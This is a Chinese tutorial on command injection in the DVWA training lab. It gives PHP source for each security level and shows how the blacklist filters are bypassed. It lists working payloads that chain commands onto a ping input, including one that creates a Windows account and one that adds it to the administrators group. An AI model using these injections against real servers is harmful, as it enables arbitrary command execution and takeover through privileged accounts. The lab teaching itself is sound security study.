DVWA各等级命令注入漏洞
漏洞描述
- 在web程序中,因为业务功能需求要通过web前端传递参数到后台服务器上执行,由于开发人员没有对输入进行严格过滤,导致攻击者可以构造一些额外的"带有非法目的的"命令,欺骗后台服务器
漏洞危害
- 如果web应用使用的是root权限,则改漏洞可以导致攻击者在服务器上执行任意命令
漏洞利用
在ping时 可以使用 管道符( | ) ,& 等字符拼接执行多条命令
Eg:
ping 127.0.0.1 | net user
ping 127.0.0.1 & net user
ping 127.0.0.1 && net user
ping 127.0.0.1 || net user
- '|':前面命令输出结果作为后面命令的输入内容
- '&':前面命令执行后接着执行后面的命令
- '||':前面命令执行失败的时候才执行后面的命令
- '$$':前面命令执行成功了才执行后面的命令
- 使用重定向(>)在服务器中生成文件,或时使用(<)从事先准备好的文件读入命令
eg:127.0.0.1&echo test >c:\1.txt
Command injection
level:low
<?php
if( isset( $_POST[ 'Submit' ] ) ) { //post传参
// Get input
$target = $_REQUEST[ 'ip' ]; 传入ip
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
//stristr()函数:在字符串中找是否存在已知的字符串
//php_uname()返回运行php的系统有关信息
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
漏洞分析
low级别本身没有任何过滤,其中 Shell_exec()函数可以在php中去执行操作系统命令,如果不对用户输入的命令进行过滤,那么理论上就可以执行任意系统命令,也就相当于直接获得了系统级的shell
eg:命令执行语句
127.0.0.1 | net user
127.0.0.1 | net user test 123/add
127.0.0.1 | net localgroup administrators test/add
level:medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
漏洞分析
与low级别相比 medium级别多了两句过滤语句:'&&' => '', ';' => '',替换为空字符
绕过方法:
因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。
Ping 127.0.0.1&net user
在&&中间加 ';'
Ping 127.0.0.1&;&net nser
这是因为”127.0.0.1&;&net user”中的” ;”会被替换为空字符,这样一来就变成了”127.0.0.1&& net user” ,会成功执行。
level:high
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
漏洞分析
high级别与medium级别相比 黑名单机制限制的更多 过滤的更多
但是
仔细观察到是把"| "(注意这里|后有一个空格)替换为空字符,可以用" |"替换 成功绕过
level:impossible
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
//stripslashes(string)stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
//explode(separator,string,limit)把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
//
is_numeric(string)检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
漏洞分析
Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,不存在命令注入漏洞。
DVWA各等级命令注入漏洞的更多相关文章
- Commix命令注入漏洞利用
介绍 项目地址:https://github.com/stasinopoulos/commix Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏 ...
- DVWA(四):Command Injection 全等级命令注入
Command Injection : 命令注入(Command Injection),对一些函数的参数没有做好过滤而导致用户可以控制输入的参数,使其恶意执行系统命令或这cmd.bash指令的一种注入 ...
- 2. DVWA亲测命令执行漏洞
先看low级: 提示让我们输入一个IP地址来实现ping,猜测会是在系统终端中实现的, 我们正常输入127.0.0.1: 那我们就可以利用这个使用其他CMD命令 我们输入127.0.0.1& ...
- DVWA各等级sql注入
sql全等级注入 level:low <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { //判断submit是否存在 // Get input $id = ...
- CVE-2020-15778 OpenSSH命令注入漏洞复现
一.漏洞概要 OpenSSH 8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令.目前绝大多数linux系统受影响. 参考链接:https://githu ...
- 1.3 DVWA亲测sql注入漏洞
LOW等级 我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...
- 1.2 DVWA亲测sql注入漏洞(blind)
LOW等级 我们尝试输入: 即如果页面返回为假,则说明后面的语句成功注入 据此我们可以知道 1' and 真 --> 页面显示 “User ID exists in the data ...
- CVE-2017-17215 - 华为HG532命令注入漏洞分析
前言 前面几天国外有个公司发布了该漏洞的详情.入手的二手 hg532 到货了,分析测试一下. 固件地址:https://ia601506.us.archive.org/22/items/RouterH ...
- DVWA靶机的命令执行漏洞
之前在打攻防世界的时候出现过类似的题目,这里再重温一下 (靶机一共低中高三个安全等级,这里只演示低中等级) (1)Security:low 根据提示让我们输入地址ping一下,之后返回以下内容,可以判 ...
随机推荐
- 图解 Spring 循环依赖,写得太好了!
Spring如何解决的循环依赖,是近两年流行起来的一道Java面试题. 其实笔者本人对这类框架源码题还是持一定的怀疑态度的. 如果笔者作为面试官,可能会问一些诸如"如果注入的属性为null, ...
- oracle 11g 配置口令复杂度
oracle 11g 配置口令复杂度 使用ORACLE自带的utlpwdmg.sql脚本来实现 找到本地的utlpwdmg.sql脚本 find / -name utlpwdmg.sql 查看 /ho ...
- SixLabors.ImageSharp 实践小结
前言 之前写过一篇 Linux/Docker 中使用 System.Drawing.Common 踩坑小计, 当时主要是有一块图像处理的需要从 .net framework 迁移到 .net core ...
- tp5 上传图片(自定义图片路径)
控制器调用 /** * [goods_addimg 图片上传] * @return [type] [description] */ public function addimg(){ if (requ ...
- 历时两年零三个月,从刚毕业的外包到现在的阿里P7offer,我只做了这几件事
前言 最近,金九银十在即,很多人都在准备面试,特别给大家总结了 Java 程序员面试必备题,这份面试清单是我从 去年开始收集的,一方面是给公司招聘用,另一方面是想用它来挖掘我在 Java 技术栈中的技 ...
- Jmeter (三)变量、参数化、函数
一.参数化 1.在参数中定义变量:${变量名称} 变量定义:2种 2.在用户自定义变量User Defined Variable 或者 用户参数User Parameters中,设置key.value ...
- synchronized关键字的内存语义
以下内容摘自:Java并发编程之美 加锁和释放锁的语义:当获取锁以后会清空锁块内本地内存中将会被用到的共享变量,在使用这些共享变量的时从主内存进行加载,在释放锁时将本地内存中修改的 共享变量刷新到主内 ...
- [NOIP2013][LGOJ P1967]货车运输
Problem Link 题目描述 A国有n座城市,编号从1到n,城市之间有 m 条双向道路.每一条道路对车辆都有重量限制,简称限重.现在有 q 辆货车在运输货物, 司机们想知道每辆车在不超过车辆限重 ...
- C语言讲义——库函数排序qsort
qsort函数在在stdlib.h中. 函数原型 void qsort(void *base, size_t nitems, size_t size, int (*compar)(const void ...
- 6. Git工作流
6.1 git工作流理解 在项目开发过程中使用 Git 的方式 6.2 git工作流分类 集中式工作流 像 SVN 一样,集中式工作流以中央仓库作为项目所有修改的单点实体.所有修改都提交到 Maste ...